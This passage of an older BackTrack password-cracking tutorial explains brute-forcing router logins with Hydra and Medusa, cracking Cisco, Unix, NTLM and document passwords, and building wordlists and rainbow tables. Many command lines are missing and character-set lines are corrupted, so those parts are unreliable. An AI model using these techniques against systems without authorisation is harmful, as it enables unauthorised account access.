If you want details on how shadowingworks. Finally UNIX passwords are salted. The short version is a salt is randomly generated value that is used to encode the user's password, which is usually already encrypted; thus adding another layer of security. The long version can be found at: http://www.tldp.org/HOWTO/Shadow-Password-HOWTO-2.html
Boot BackTrack and login as root
You have now written the unshadowed "salted" passwords to a file called saltedpasswords
The above steps will crack the passwd file on the CD. If you want to crack a passwd file located on a harddrive:
boot BackTrack and login as root
mount your Linux partition substituting hda1 for whatever your Linux partition is
8. Cracking networking equipment passwords
Your first step should be to try the default username and password.
You can find a list over 3500 devices at : http://artofhacking.com/etc/passwd.htm
8.1 Using BackTrack Tools
8.1.1 Using Hydra
Say you have wireless router to which you have forgotten the password. The easiest thing to do in this case isto reset the router to factory defaults. However if you have a lot of custom settings and your backup isnonexistent, out-dated, corrupted, or the backup restored a password which you do not remember, you cantry a brute force attack on the router.
From http://freeworld.thc.org/thc-hydra/
Hydra currently supports:
TELNET, FTP, HTTP-GET, HTTP-HEAD, HTTPS-GET, HTTPS-HEAD, HTTP-PROXY, LDAP2, LADP3,SMB, SMBNT, MS-SQL, MYSQL, POSTGRES, REXEC, RSH, RLOGIN, CVS, SNMP, SMTP-AUTH,SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS, ICQ, SAP/R3, SSH2, Teamspeak, Cisco auth, Cisco enable,Cisco AAA (incorporated in telnet module)
For the sake of this document I will use a Linksys WRT54GL, hardware v1.1, Linksys firmware 4.30.11 anddd-wrt v2.4sp1.
The first thing you have to do is find out if the device uses a username AND password tologin. Several devices only require a password to login into the device as admin, root, system, etc. The easiest way to find this out is to goto the vendor's website and download installation manual which will give you this information. For the Linksys firmware boot BackTrack and login as root and then type:
-l is for a username which is null in this case
-P is a wordlist of passwords to try
-f stop hydra when it finds the password
-v is for verbose
-e try no password and password the ip address of the device one of the currently supported options 192.168.1.1 is the IP of the APhttp-get is the correct option to this AP/ is where you have to put in the username and password. In this case you have to put in the username and password before you can do anything. You will have to figure this out for yourself as each device isdifferent.
Some other option you may need are:
-t TASKS run TASKS number of connects in parallel (default: 16)You may have to adjust this number down as larger numbers may cause the router to crash or misbehave.
I usually use -v / -V verbose mode / show login+pass combination for each attempt.
As I said earlier, http-get is the correct option for my Linksys AP (with the factory firmware). When you gotothe AP website a dialog box opens and prompts for a username and password. Each AP is different and as such you will have to change options as RaginRob found out. The following is a slightly modified versionfrom his tutorial. I recently started playing around with Hydra and tried to hack my router. After searching the forum and googling around a while I noticed that there are only some howto's for routers that have http-authauthentication. That is, when you go to 192.168.2.1 e.g. and before showing anything you have to enter login and password in a popup.
My router (T-Com Sinus 154 DSL Basic 3) and many others I've dealt with so far work differently. When I want to login to my router, I have to go to 192.168.2.1, a web interface with a password field shows up, and I have to enter the password which is then checked by /cgi-bin/login.exe viahttp-post. It was quite tricky to find out how to use this authentication with hydra, so I guess there are some of you that can benefit from this. I'll describe how I did it, so you can adapt the method and use it with your own router.
First of all I examined the login page of the web interface.
Be sure to look at the frame source and not theframeset. You should see the form and the action, here's what I saw:
The form is defined as:
Somewhere in the form there will be the field that takes the password:
This is probably the most important data you need. You need to write down the field name ("pws" in mycase). The size attribute comes in very handy too because it tells us that the password's max length is 12 characters. After that I tried to get familiar with Hydra's options. I figured out that you need the following options:
-l sets the login name. In the end I don't need a login name but hydra gets kind of pissed when you don't passsomething, so I gave an empty string.
-P The wordlist to use for the password
-t 1 task only, not really necessary, I just wanted to make sure Hydra doesn't choke on too many requests
-f Hydra shall stop when a working password is found
-v be verbose.
and even more.
I skipped that in the final version but it's ok for debugging 192.168.1.1 is victim's iphttp-post-form the method to use/cgi-bin/login.exe
ws=^PASS^:loginpserr.htm
This is the most important part. Here we tell Hydra what to pass the passwords to. The argument consists of three parts separated by ":".The first part is the script that takes the POST data, we found that in the frame source above.The second part is the field name of the password field with an added =^PASS^. ^PASS^ is the variable thathydra substitutes with the passwords in the wordlist. The third part is the "incorrect" condition. Hydra has to find out somehow if the current password that wassend to the router is correct or not. You have to find a string that is actually IN A NEGATIVE RESPONSE from the router. As we don't have the password yet we can't know what the router will send if the password iscorrect, therefore we have to check if it is NOT, which we can find out easily. To find out what the router sends back to hydra I used Wireshark.
Open up wireshark, go to the router login page, start capturing and then login with a wrong password. After that, stop capturing and apply a "http" filter. You will see the POST data sent from hydra to the router (youshould also see the "pws=blabla" in the details, that's where hydra sends the passwords from the wordlist). Below that you'll find the router answer. In my case it says something like "This page has moved tologinpserr.htm" packed in some basic HTML. So I used the string loginpserr.htm to validate the .. uhm...faultyness!
Hydra will consider a password as CORRECT when the router answer DOES NOT contain the given string. So be sure to take an expression that somehow sounds like "incorrect" or "wrong". If you took "the" for example, and the POSITVE response would be something like "the password you entered was correct", hydra will not recognize it as correct but incorrect. If your router does not only need a password but also a username, you can easily add the according loginname to the last part. So if you need to send the field "login" or whatever it is called in your case with thevalue "admin" as the only username you could use /cgi-bin/login.exe:login=admin&pws=^PASS^:loginpserr.htm
When you need to try a whole username list then you can specify the list via
-L usernames.txt
and
/cgi-bin/login.exe:login=^USER^&pws=^PASS^:loginpserr.htm
For dd-wrt boot BackTrack and login as root and type:
-l is for a username which is admin in this case. dd-wrt allows the user to chose the username that isrequire to login to the device so it could be anything.
-P is a wordlist of passwords to try
-f stop hydra when it finds the password
-v is for verbose
-e try no password and password the ip address of the device one of the currently supported options 192.168.1.1 is the IP of the AP http-get is the correct option to this AP ; is where you have to put in the username and password. In this case you have to put in the usernameand password before you can do anything. You will have to figure this out for yourself as each device isdifferent.
Some other option you may need are:
-t TASKS run TASKS number of connects in parallel (default: 16). You may have to adjust this number down as larger numbers may cause the router to crash or misbehave. I usually use 10.
-v / -V verbose mode / show login+pass combination for each attempt.
8.1.2 Using Xhydra
Xhydra is Hydra with a GUI. This graphical interface is a good place for newbies to start practicing and thenmove to the command line. [email protected] has made a video that demonstrates how to use Xhydra to bruteforcethe password on a Wireless AP. You can watch the video at:
http://blip.tv/file/522320
I had to update my flash player so the video wasn't choppy. To update the flashplayer in BT4 do:
If you have problems with your attack after watching the video try decreasing the number of tasks to 10.
8.1.3 Using Medusa
Medusa is like hydra in that it is a login bruteforcer. So what are there differences? You can see for yourself at http://www.foofus.net/jmk/medusa/medusa-compare.html
The short version medusa supports somethings while hydra doesn't and vice versa. For example:
If you need to crack ncpfs you need medusa.
If you need ICQ you need hydra.
There are more differences so please read the above webpage. The following command is used to attack my D-Link DI-808HV DSL router.
-h is the host you want to attack
-u is the username you want to try. If there is no username use ""
-P is the wordlist you want to use
-M is the module you want to use
Here is the list of modules included with BackTrack 3 Final:
cvs.mod
mssql.mod
pop3.mod
rsh.mod
snmp.mod
vmauthd.mod
ftp.mod
mysql.mod
postgres.mod
smbnt.mod
ssh.mod
vnc.mod
http.mod
nntp.mod
rexec.mod
smtp-auth.mod
svn.mod
web-form.mod
imap.mod
pcanywhere.mod
rlogin.mod
smtp-vrfy.mod
telnet.mod
wrapper.mod
Here is the list of modules included with BackTrack 4 Final:
cvs.mod
mssql.mod
pop3.mod
smbnt.mod
ssh.mod
web-form.mod
ftp.mod
mysql.mod
rexec.mod
smtp-vrfy.mod
telnet.mod
wrapper.mod
http.mod
nntp.mod
rlogin.mod
smtp.mod
vmauthd.mod
imap.mod
pcanywhere.mod
rsh.mod
smtp.modvnc.mod
Be sure to leave .mod off of the command line. The documentation at http://www.foofus.net/~jmk/medusa/medusa.html is lacking.
8.1.4 Using John the Ripper to crack a Cisco hash
there are two passwords in Cisco equipment: enable and telnet. Within the enable command there are twoways to store the password
I. enable password (aka type 7)
II. enable secret (aka type 5)
Enable password is the original encryption algorithm used by Cisco. The algorithm was not released to thegeneral public, however the algorithm was figured out and at least two decryption programs are available on the internet. The source code to decrypt a type 7 password is available on the internet. Enable password is avery weak algorithm and should not be used.
Enable secret is the replacement for enable password. Enable secret takes the password and hashes it using the md5 hash. Hashes are one way algorithms. It is currently not possible to recover the password given the hash. You have to use a dictionary or brute force attack i.e. take every word in your dictionary, md5 hash it, and compare the dictionary hash to the cisco hash. Once you have logged on to the router or switch you have to display the running configuration to get the hash.
Type the following at the enable prompt:
Look for enable secret 5 $1$sz0o$PYahL33gyTuHm9a8/UfmC1 in the display. This is a md5 hashed password. If you see: enable password 7 03003E2E05077C4F4007 then the password is stored in the weak password encryption.
Once you have the hash use a text editor and put the hash into the following format and save it a chash:enable:$1$sz0o$PYahL33gyTuHm9a8/UfmC1:::::
Now you can use john to crack it
8.2 Using Windows Tools
8.2.1 Using Brutus
Brutus is a windows application that does things similar to Hydra. You can find it at http://www.hoobie.net/brutus/
9. Cracking Applications
9.1 Cracking Oracle 11g (sha1)
I cannot do any better than sending you to http://freeworld.thc.org/thc-orakelcrackert11g/
9.2 Cracking Oracle passwords over the wire
Again The Hacker's Choice at http://freeworld.thc.org/thc-orakel/ has great documentation on this.
9.3 Cracking Office passwords
If you need to remove a password from an excel spreadsheet (workbook or sheet) the best I found is ExcelPassword Remover 2009 which can be downloaded from http://www.straxx.com/excel/password.html
Instructions from the straxx website on how to use Excel Password Remover 2009.
To load this add-in in Excel: Open it the same way you do with Excel workbooks. Installing the add-in doesnot work for all users. Loading this add-in in Excel gives you two extra menu-items on the "Tools"-menu (or equivalent innon-English versions of Excel).
These are:
1.
Unprotect workbook
2.
Unprotect sheet
ElcomSoft has Advanced Office Password Breaker and Advanced Office Password Recovery.
You can readabout the differences between at http://blog.crackpassword.com/2009/0...sword-breaker/
The short version is breaker onlyworks on word and excel documents from 2003 and before. For anything else you need Advanced Office Password Recovery and it can take quite a while to recover the password. Go to http://www.gmayor.com/Remove_Password.htm for instructions on how to remove the password from Office documents.
9.4 Cracking RAR passwords
The only free software to crack rar passwords is from http://www.crark.net. Version 3.2a adds CUDA supportfor Nvidia video card to increase cracking speed by up 15x. The source code is at http://www.crark.net/Cuda-OpenSrc.rar and binaries are available. Next there is rarcrack. You can download the source code from http://sourceforge.net/projects/rarcrack/
You can read how to use rarcrack at:
http://www.mydigitallife.info/2009/0...ar-7z-and-zip- password-with-rarcrack-in-linux/
You can also use Advanced Archive Password Recovery from http://www.elcomsoft.com/archpr.html to recover the password. Advanced Archive Password Recovery is not free. The advantage to AdvancedArchive Password Recovery is that it supports a wide range of encryption and compression algorithms.Finally cracking the password takes time.
If you really need into that file you can just remove the passwordusing winrar_unlock from http://www.mydigitallife.info/2008/1...pport-sfx-exe/
9.5 Cracking zip passwords
You can use rarcrack to crack zip and 7z files. The source code is available from http://sourceforge.net/projects/rarcrack/
fcrackzip is another tool to crack zip passwords. You can download the source code and windows binary fromhttp://home.schmorp.de/marc/fcrackzip.html
Finally cracking the password takes time. If you really need into that file you should just try to remove the password.
9.6 Cracking pdf passwords
There are two types of pdf passwords user and owner. A user password is set when the author of the pdf wants the end user to enter a password to view the pdf. In other words the password has to be entered eachtime the pdf is opened. The owner password is set when the author wants to prevent the person viewing the pdf from changing the permissions of the restricted features. If both passwords are set either password canopen the document. However only the owner password can change permissions.You can use PDFCrack to crack password protected pdf files. The source code is available from http://pdfcrack.sourceforge.net/
PDF Crack is made for Linux however it should work for any POSIX compatible system.
rubypdf created a windows binary of PDFCrack using Cygwin. You can read about it at http://sourceforge.net/projects/pdfc.../topic/2224035
If your computer has a multi-core processor you might want to apply the following patch to PDFCrack : http://sourceforge.net/projects/pdfc.../topic/3364643
This patch adds support for multi-core processors and speedsup the cracking process and yes there is a windows binary available.
GuaPDF available from http://www.guapdf.com/ can also crack password protected PDF files. GuaPDF can remove the restrictions of any password protected pdf. This includes support for Adobe 9 with 256 bit AES and 128 bit RC4 encryption. The removal process is instantanous. Note that only standard PDF security issupported. Cracking of third-party plugins and/or e-books is not supported. GuaPDF is supported on Linux, Windows, Solaris, DOS, and Mac OS. It supports multi-core processors and NVIDIA GPU cards. GuaPDFwill remove restrictions from small pdf files for free. For larger files or a version that supports distributedcracking the program you must pay for the program. Elcomsoft also makes a PDF password recovery program. It can be found at http://www.elcomsoft.com/apdfpr.html
Advanced PDF Password Recovery can remove both the user and owner passwords as well asremove any restrictions.You can also try to open the PDF and print it to another pdf creater to remove the restrictions.Finally cracking the password takes time. If you really need into that file you should just try to remove the password.
10. Wordlists aka Dictionary attack
Strictly speaking a wordlist is a file that contains words or phrases from everyday life. The premade files below are wordlists. The other instructions in this section are not really wordlists as the resulting file every possible combination (depending on the options you give the program) of characters. I have not come across aword to describe these files so I am naming a file that contains every possible combination of characters acombination list. Not very original but it does clearly differentiate between the two types of lists. The resulting combination list can be used in place of a wordlist. Please note that when you generate acombination list the file will be huge. Using the 95 English characters to generate every possible combinationof 10 characters the resulting file size will be 95^10 =
59.873.693.923.837.900 bytes
59.873.693.923.837.900 KB
59.873.693.923.838 MB
59.873.693.924 GB
59.873.694 TB
59.874 PB
~ 60 EB
For 14 characters the file size would be 4,877 YB!
10.1 Using John the Ripper to generate a wordlist
For Windows use:
For Linux use:
The resulting output will be written to the wordlist.txt file.If you know the maximum length of the password you can use --stdout=length and john output passwords of that length or less. For example --stdout=5 will generate words that are 5 characters long or shorter.
Please note that the maximum length john supports by default is 8. If you need to generate a 9 character or longer wordlist you will have to download the source and change a line or two of code. Or you can use a different tool.
You can also have john direct its output to other programs. For example to have john feed random passwordsto air-crack use:
10.2 Configuring John the Ripper to use a wordlist
If you have a wordlist (wordlist.txt) you want to try against NTLM hashes use the following command:
or you can edit the john.conf file to use your wordlist.
So it would look like this:
[Options]
# Wordlist file name, to be used in batch mode
Wordlist = $JOHN/wordlist.txt
# Use idle cycles only
Idle = N
# Crash recovery file saving delay in seconds
Save = 600
# Beep when a password is found (who needs this anyway?)
Beep = N
10.3 Using crunch to generate a wordlist
in
run it with a --help to see the options. It will ask for a minimum length, maximumlength, character set etc.
or
the character set can be whatever you want. The optional fourth parameter allows you specific a pattern.
For example if you know that the last 2characters of a 8 character password are 99 you can do:
The @ characters will change while the 99 remains constant.
The optional fifth parameter allows you to specify a starting string. This is useful if you have to stop in the middle a generation. Just do:
to see where the file left off and use -s start one character higher.
For example:
aaaaaeDo
aaaaaeDp
aaaaaeDq
aaaaaeDr
aaaaaeDs
aaaaaeDt
aaaaaeDu
aaaaaeDv
aaaaaeDw
aaaaaeDx
aaaaaeDy
Press Ctrl-C
aaaaaeDz
aaaaaeDA
aaaaaeDB
aaaaaeDC
aaaaaeDD
Use > output.txt to redirect the output from the screen to a file named output.txt
10.4 Generate a wordlist from a textfile or website
Sometimes users use words from their employeer's website. Their password could be the companies name or the name of the flagship product. I will show you how to download the website and convert it into a wordlist.These instructions are basically a text version of [email protected]'s flash video from http://blip.tv/rss/flash/533887. I had to update my flash player so the video wasn't choppy. To update the flashplayer in BT4 do:
boot BackTrack and login as root
will recursively download a website
You now have a large unsorted file containing duplicate words. You will have to sort and uniq the file beforeit is of any value. See section 15.7 on how to use sort and uniq.
10.5 Using premade wordlists
Xploitz and [email protected] have released their wordlists. The first two are torrents; the rest can be downloaded from the URL.
[email protected]'s wordlist : http://www.h33t.com/details.php?id=1...2a34983e6652f5
Xploitz's first wordlist : http://thepiratebay.org/tor/4017231
Xploitz's second wordlist part 1 : http://www.mediafire.com/?am2exxlnwma
Xploitz's second wordlist part 2 - http://www.mediafire.com/?4mzmdsbhhcn
Xploitz's second wordlist part 3 : http://www.mediafire.com/?4v9znjscgwt
Xploitz's second wordlist part 4 : http://www.mediafire.com/?dmj6yy3gw3x
Xploitz's second wordlist part 5 : http://www.mediafire.com/?5tyidngmztx
Xploitz's second wordlist part 6 : http://www.mediafire.com/?3utzg3jk1mb
Xploitz's second wordlist part 7 : http://www.mediafire.com/?dmwdvdrgsgb
[email protected] has released another wordlist.
It is 64 million words 8-63 characters and it was made from his other wordlist : http://www.megaupload.com/?d=7RN6ZB2E
10.6 Other wordlist generators
You could try the wg perl script from http://freshmeat.net/projects/wg/
This will generate a list of "words" (actually character strings) between 8 and 64 characters long (-l 8 -u 64) and output it to a text file named "words.txt". The \ characters are there to escape the bash command characters. Siph0n has taken a C program a thread, converted it to python, and made a couple of enhancements.
Here is the python source code:
NOTE: When generating your own wordlists keep in mind that some programs (aircrack-ng) have a 2GB filesize limit.
10.7 Manipulating your wordlist
So you now have a wordlist. What should you do with it? You need to manipulate it into something you canuse. You can of course just use the wordlist without manipulating it, but you may be sacrificing performanceand space. The first thing you should do is to combine, sort, and uniq all of the wordlists you have.The following is fromhttp://freeworld.thc.org/thc-hydra/README uniq your dictionary files! this can save you a lot of time !
If you know that the target is using a password policy (allowing users only to choose password with aminimum length of 6, containing a least one letter and one number, etc. use the tool pw-inspector whichcomes along with the hydra package to reduce the password list:
If you are creating a wordlist specifically to crack WPA and WPA2 then the following command is what youshould use as it will get rid of any words shorter than 8 characters and longer than 63:
The above paragraph is true for any wordlist and very good advice. Remember you want as many possiblewords as you can fit on your storage device. More is better as long as the list only contains unique words. To see the number of lines (or words in this case) in the file:
Now that you have a sorted, uniq'd wordlist you need to look at it and see what is in it. Opening a largewordlist in vi or kwrite can take a lot of time and memory. I prefer to use head and tail to view the beginning and end of the wordlist. To view the first 30 lines of wordlist.txt:
To view the last 30 lines of wordlist.txt:
Say that the first 25 and last 23 lines are garbage and you want to delete them. Opening wordlist.txt in vi and write might not work so good. You can use sed to change the file. To delete the first 25 lines of wordlist.txt:
To delete the last 23 lines of wordlist.txt:
Next you can use a permutator on your wordlist to make it bigger. A permutator will add wordlists based oncriteria you set. For example you want to a number to each word in your wordlist. Or you want to change allof the a's to @'s.
You can get a permutator from:
http://www.backtrack-linux.org/forum...k-4-final.html
You can also take your wordlist and run it through john the ripper and increase its size by about 49 times.
Use:
If you are feeling a little lazy "Miииi3" has created a script named Giga Wordlist Creator that can do all of this for you. You can download the script and find how to use it at (English Translation) http://translate.google.fr/translate...-8&sl=fr&tl=en
NOTE: When generating your own wordlists keep in mind that some programs (aircrack-ng) have a 2GB filesize limit. There is also the issue of RAM. If you can keep the entire wordlist in RAM, the cracking will proceed that much faster. So keep your wordlists to a maximum of 2GB. If you have a 3GB wordlist and youwant to break it into 1GB chucks do:
please substitute 1024 m for whatever size you wish and change /tmp/ to the proper path you want to use.
It is also popular to leetify passwords. For example password becomes [email protected], pa$$word, passw0rd, [email protected]$$w0rd, etc. Here is a perl script written by Gitsnik and a modified version of Gitsnik's script and modified by robot
A python script that leetifies passwords is included with BackTrack 4.
It can be found in /pentest/passwords/cupp.
It is easy to use.
1.
boot BackTrack and login as root
2.
open a terminal window
3.
4.
answer the questions and wait until the program is finished generating its file.
11 Rainbow Tables
11.1 What are they?
Rainbow tables are files that contain pre-computed hashes of passwords. This drastically cuts down on the time it takes to crack passwords. You will need a set of tables for each algorithm you want to break. Since LM hashes are so weak I do not waste the disk space to store them. The last time I checked the size of the LM hash rainbow tables for a password of 1 to 7 characters and a character set of:
[[email protected]#$%^&*()-_+=~`[]{}|\:;"'<>,.?/] was 120GB insize. The table was generated by Hak5. This table is supposed to have a 99.9% success rate. You do not need a table with 8 to 14 characters as the password is split into 2 separate 7 character hashes.
NTLM tables are larger as the possible character set is:
[[email protected]#$%^&*()-_+=~`[]{}|\:;"'<>,.?/]
and the password is not broken into smaller parts. Given this and most likely you have 6 or 7 character minimum password length; the size of the tables can be quite large. I have not found anywhere tod ownload a reasonable set of NTLM rainbow tables. To me reasonable is from 1 to 14 characters using the above character set. A table using these specs will extremely large.
11.2 Generating your own
To generate you rainbow tables you need three things: what algorithm are you going to need, the software to generate the table, a really fast PC or FPGA or GPU. Let us start with the NTLM algorithm. The BackTrack software has rtgen available to generate the tables. If you want to generate tables using windows download Cain & Abel fromhttp://www.oxid.it/projects.html as that contains the latest release of winrtgen. For moreinformation about rainbow tables visit The Ethical Hacker Network athttp://www.ethicalhacker.net/content/view/94/24/
A set of tables that use the loweralpha-numeric-symbol14 character set for a maximum of 8 character password and a 99.6972% probability of success will take 120 tables and 175GB of disk space. I usedwinrtgen to get these figures.
11.2.1 rcrack - obsolete
The current version of rcrack is 1.4 however version 1.3 and 1.4 only support windows. Version 1.2 is theonly version that supports Linux. If you need to generate rainbow tables for any algorithms other than LM,MD5, and SHA1 you will have to recompile the RainbowCrack source code. The rtgen utility that comes withBackTrack 3 can only generate LM, MD5, and SHA1 tables.
To recompile:
boot BackTrack and login as root.
download the RainbowCrack source code from http://project-rainbowcrack.com/index.htm#download
Next download the algorithm patch using the link from the page above. This patch adds support for the NTLM, MD2, MD4 and RIPEMD160 algorithms.
Open a terminal prompt:
Look for the hash algorithm section and examine the list available algorithms. You should now see NTLM,MD2, MD4 and RIPEMD160 have been added. If they aren't there start over and try again.
Replace the charset.txt file in /pentest/password/rcrack with the following:
# charset configuration file for winrtgen v1.2 by Massimiliano Montoro ([email protected])
# compatible with rainbowcrack 1.1 and later by Zhu Shuanglei ([email protected])
alpha = [ABCDEFGHIJKLMNOPQRSTUVWXYZ]
alpha-space = [ABCDEFGHIJKLMNOPQRSTUVWXYZ ]
alpha-numeric = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
alpha-numeric-space = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ]
alpha-numeric-symbol14 = [[email protected]#$%^&*()-_+=]
alpha-numeric-symbol14-space = [[email protected]#$%^&*()-_+= ]
alpha-numeric-all = [[email protected]#$%^&*()-_+=~`[]{}|\:;"'<>,.?/]alpha-numeric-all-space = [ABC[email protected]#$%^&*()-_+=~`[]{}|\:;"'<>,.?/ ]
loweralpha = [abcdefghijklmnopqrstuvwxyz]
loweralpha-space = [abcdefghijklmnopqrstuvwxyz ]
loweralpha-numeric = [abcdefghijklmnopqrstuvwxyz0123456789]
loweralpha-numeric-space = [abcdefghijklmnopqrstuvwxyz0123456789 ]
loweralpha-numeric-symbol14 = [[email protected]#$%^&*()-_+=]
loweralpha-numeric-symbol14-space = [[email protected]#$%^&*()-_+=" ]
loweralpha-numeric-all = [[email protected]#$%^&*()-_+=~`[]{}|\:;"'<>,.?/]
loweralpha-numeric-all-space = [[email protected]#$%^&*()-_+=~`[]{}|\:;"'<>,.?/ ]
mixalpha = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ]
mixalpha-space = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ]
mixalpha-numeric = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mixalpha-numeric-space =[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ]
mixalpha-numeric-symbol14 =[[email protected]#$%^&*()-_+=]
mixalpha-numeric-symbol14-space =[[email protected]#$%^&*()-_+= ]
mixalpha-numeric-all =[[email protected]#$%^&*()-_+=~`[]{}|\:;"'<>,.?/]
mixalpha-numeric-all-space =[[email protected]#$%^&*()-_+=~`[]{}|\:;"'<>,.?/ ]
byte = []
numeric = [0123456789]
numeric-space = [0123456789 ]
This new file adds support for many more character sets than the one that comes with rcrack or rcracki.
11.2.2 rcracki
rcracki is a modified version of rcrack which supports hybrid and indexed tables. The advantage of indexedtables is the size is reduced by 50% and lookup times are faster. Rainbowtables generated by rcrack and NOT compatible with rcracki.
Rainbowtables generated by rcracki are NOT compatible with rcrack. You can convert rcracki rainbowtables to the old format using the rti2rto utility. Currently there is no rto2rti utility although one might be in the works. A hybrid table is a table that fits into 1 of 2 categories:
I. common passwords like password are tried first
II. the password is a combination of two character sets.
For example password123 is a hybrid of the loweralpha and numeric character sets.
I spent almost 4 hours trying to get rcracki to compile. I seceded in compiling rotten by adding md5.cpp to themakefile.linux rtgen section. I added md5.cpp right before RainbowTableGenerate.cpp and then rtgencompiled fine. That took about 5 minutes to figure out and fix. I spent the rest of the time of rtdump. I just gave up. The linux version of rcracki is new so some things just don't work yet. Work is being done to getrcracki to work properly on linux but there is no ETA on when that will happen. Here is how you are supposed to compile rcracki but it doesn't work yet: boot BackTrack and login as root1.
download the rcracki source from http://www.freerainbowtables.com/php...ic.php?&t=5642
open a terminal window
create the charset.txt using the charset.txt from rcrack section14.
11.2.3 rcracki - BOINC client
The current version of rcrack is now a boinc client. BOINC is an open-source software platform for computing using volunteered resources. By using the boinc client PowerBlade (maintainer of rcracki) only has to compile a small binary for each platform. This frees his time to work on taking generating rainbowtables to the next level. There are versions of the client for Windows (32-bit and 64-bit), Linux (32-bit and64-bit), Mac OS X. All you have to do is download and install the correct boinc client for your system fromhttp://boinc.berkeley.edu/download_all.php. Next point the boinc client to the project url of http://boinc.freerainbowtables.com/distrrtgen/
You need to create a separate account for chain generation. If you use the same email for your account at boinc.freerainbowtables.com and www.freerainbowtables.com
you will be able to view statistics about your progress.
11.2.4 Generating a rainbow table
rtgen is an application
ntlm is the algorithm you want to rtgen to use
loweralpha-numeric-symbol
14 is the character set you want to use
1 is the minimum password length
8 is the maximum password length
0 is the table index - do not worry about it
20000 is the chain length, higher numbers increase the probability success rate without increasing the tablesize much. However a larger number will cause rcrack or rcracki a larger amount of time to walk them thusincreasing the time it takes to crack the hashes. 20000 is probably the largest you should use.
97505489 is the number of chains to store in the table. Think of this as the size of table you want to generate.
97505489 is the right size to generate a table if you are going to store them on a DVD. With 97505489 youcan store 3 tables on 1 DVD. Use 40000000 if you are going to store the table on a CD. You can use whatever number you want as long as the resulting table is less than 2GB in size. The password cracking tools haveissues with tables greater than 2GB.
_XXX is whatever you want appended to the filename. Since I know I need 120 tables I will start with _001and end at _120
So to generate 3 tables you do:
which will result in the following files be created:
Once all of the tables have been generated you have to sort them before you can use them:
Each command will take awhile to complete. The larger the file the longer it takes. It is recommended thatyou do this on a PC with at least 2GB of RAM (if you use 97505489 as the number of chains) so the entirefile can be loaded into RAM which makes the sort faster.
11.3 WEP cracking
You do not need rainbow tables for WEP. See other postings for WEP cracking details.
11.4 WPA-PSK
Rainbow tables can be used to crack the Pre-Shared Keys of WPA. The Church of WIFI has a 40GB torrent of rainbow tables that use ~1,000,000 words for a total of approximately 40GB of hash tables for the top1000 SSID's.
The torrent is at http://rainbowtables.shmoo.com/
You will need a torrent client as BackTrack 4 does not come with one. I suggest bittorrent. Ktorrent is alsoavailable however to install it on BackTrack Ktorrent will add in 46 dependencies and bittorrent will only add1 dependience. To install all you need to do this:
Make sure you have at least 175GB of free disk space before you try this (37GB for the lzma file, 42GB for the tar file, 42GB for the individual files, and approximately 100MB for each import into the final database).Of course you can delete the lzma file once your have the tar file, and then delete the tar file once you haveuntarred the files and directories.
11.4.1 airolib
To install the rainbow table in airolib for BT3, BT4 or BT5:
1.
Goto to lunch. The decompression will take awhile depending on fast your processor is.
2.
3.
Go home or go to sleep and come back the next morning with a name for the database you are about tocreate. I am using dbname for this example.
There are 1 ESSIDs and 995759 passwords in the database. 995759 out of 995759 possible combinations have been computed (100%).
ESSID Priority Done2WIRE044 64 100.06.
Now the odds of your SSID being in this database are probably not good. You can check the SSID.txt file thatcame with the torrent for your SSID. If your SSID is not in the database you can add it. To add a SSID youneed to create a text file that has all of the SSIDs you want to add. airolib won't accept a SSID from thecommand line. Then you import the file:
There are 5 ESSIDs and 995759 passwords in the database. 1991518 out of 4978795 possible combinationshave been computed (40%).
Finally start batch processing to compute the hashes for the new SSIDs
This will take a long time depending on your processor speed. The nice thing is once it is done the table can be used over and over thus speeding up future attacks.
To use the rainbow table do:
11.4.2 pyrit
Pyrit is a GPU aware rainbow table generator geared specifically for WPA-PSK and WPA2-PSK passwordtesting. [email protected] has the definitive guide available at http://www.backtrack-linux.org/docum..._CUDA_v2.0.pdf
12. Distributed Password cracking
You can have a very fast computer but is not a match for 10 computer working on the problem. That isdistributed processing. Each node in the cluster gets to work on a small part of the problem. There is a centralnode or server to coordinate the work.
12.1 john
The openwall wiki: http://openwall.info/wiki/john/parallelization has a great article on the various attempts toadd distributed processing capabilities to john the ripper.
12.2 medussa (not a typo this is not medusa)
There is some well written documentation on how to compile and use medussa at http://www.krazyworks.com/distribute...-with-medussa/
It appears that medussa hasn't seen any updates since 2004 but still appears to work fine.
BackTrack 4 doesn't ship with gmp so you must do:
which will download the missing dependency and its dependencies. gmp is required to do high precision math.It has nothing to do with gimp. medussa supports unixcrypt. It also supports md5 (FreeBSD, Linux, cisco) andsharaw. MD5 is slow and sharaw works on SHA1 with no salting.
13. using a GPU
Cuda is an acronym for Compute Unified Device Architecture. NVIDIA developed cuda as a parallelcomputing architecture which allows users to use their graphics card (if supported by cuda) to process datainstead of their CPUs. ATI also has hardware and software that you can use to accelerate your nongraphicalapplications. ATI's solution is called Stream. You are probably thinking why would I want my graphics card to process data. The answer is you probably don't except for specific circumstances, i.e. password cracking. CPUs are designed for general purpose number crunching. As encryption has become more common place Intel and AMD have added instructions to their processors to make certain algorithms perform faster. Intelhas added 6 instructions to some of their processors in an effort to increase the speed of the processing AESencryption and decryption. There are also 2 instructions for AES key expansion. These instructions, onceused by software, will increase the speed of cracking of AES. However these instructions pale in comparisonto a graphics card. A graphics card does nothing but compute large numbers and that is basically allencryption is, the computing of large prime numbers.
13.1 cuda - nvidia
The definitive guide was written by [email protected] and can be downloaded from http://www.backtrack-linux.org/docum..._CUDA_v2.0.pdf
As the title says cuda is supported on NVIDIA cards. It is possible to run cuda applications on ATI cards however the results have been disappointing. If you have an ATI see the next section.BackTrack 4 has several cuda enabled applications. Pyrit is probably the most used.
See 11.4.2 pyriton howto use pyrit.
13.2 Stream - ati
You can read about Stream at http://www.amd.com/us/products/techn...echnology.aspx
BackTrack 4 doesn't have any applications that support Stream that I know of. I don't have the hardware to test any applications for Stream support.
14. example hash.txt
Administrator:500:CEEB0FA9F240C200417EAF50CFAC29C3
280553F0103F2E643406517296E7582:::a:1011:7584248B8D2C9F9EAAD3B435B51404EE:186CB09181E2C2ECAAC768C47C729904:::
